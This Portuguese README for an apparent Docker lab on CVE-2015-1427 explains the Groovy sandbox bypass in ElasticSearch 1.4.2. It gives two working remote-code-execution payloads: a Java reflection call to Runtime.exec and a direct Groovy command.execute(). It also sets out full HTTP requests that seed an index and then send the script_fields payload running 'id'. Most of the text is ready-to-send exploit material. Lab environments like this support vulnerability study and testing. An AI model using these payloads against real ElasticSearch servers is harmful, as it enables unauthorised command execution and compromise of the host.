
Ambiente de laboratório baseado em Docker para CVE-2015-1427 ElasticSearch, contornando o sandbox Groovy e executando código remotamente, demonstrando dois métodos de POC com reflexão Java e execução de comandos Groovy.
Versão do jre: openjdk:8-jre
Versão do elasticsearch: v1.4.2
Referências:
Após o CVE-2014-3120, o ElasticSearch trocou a linguagem de script dinâmico padrão para Groovy e adicionou um sandbox, mas ainda suporta a execução direta de linguagens dinâmicas por padrão. Esta vulnerabilidade: 1. é um bypass do sandbox; 2. é uma vulnerabilidade de execução de código Goovy.
O ElasticSearch suporta o uso da linguagem Groovy "em sandbox" como script dinâmico, mas, obviamente, o trabalho oficial não foi bem feito. lupin e tang3 propuseram, respectivamente, dois métodos para executar comandos:
Portanto, com base nessas duas ideias de exploração da vulnerabilidade, podemos obter dois POCs diferentes.
Método de bypass do sandbox Java:
java.lang.Math.class.forName("java.lang.Runtime").getRuntime().exec("id").getText()
Método Goovy de execução direta de comandos:
def command='id';def res=command.execute().text;res
Compile e execute o ambiente de teste
docker-compose build
docker-compose up -d
Como a consulta exige que haja pelo menos um dado no es, envie o seguinte pacote para adicionar um dado:
POST /website/blog/ HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 25
{
"name": "test"
}
Em seguida, envie um pacote contendo o payload para executar comandos arbitrários:
POST /_search?pretty HTTP/1.1
Host: your-ip:9200
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/text
Content-Length: 156
{"size":1, "script_fields": {"lupin":{"lang":"groovy","script": "java.lang.Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"id\").getText()"}}}
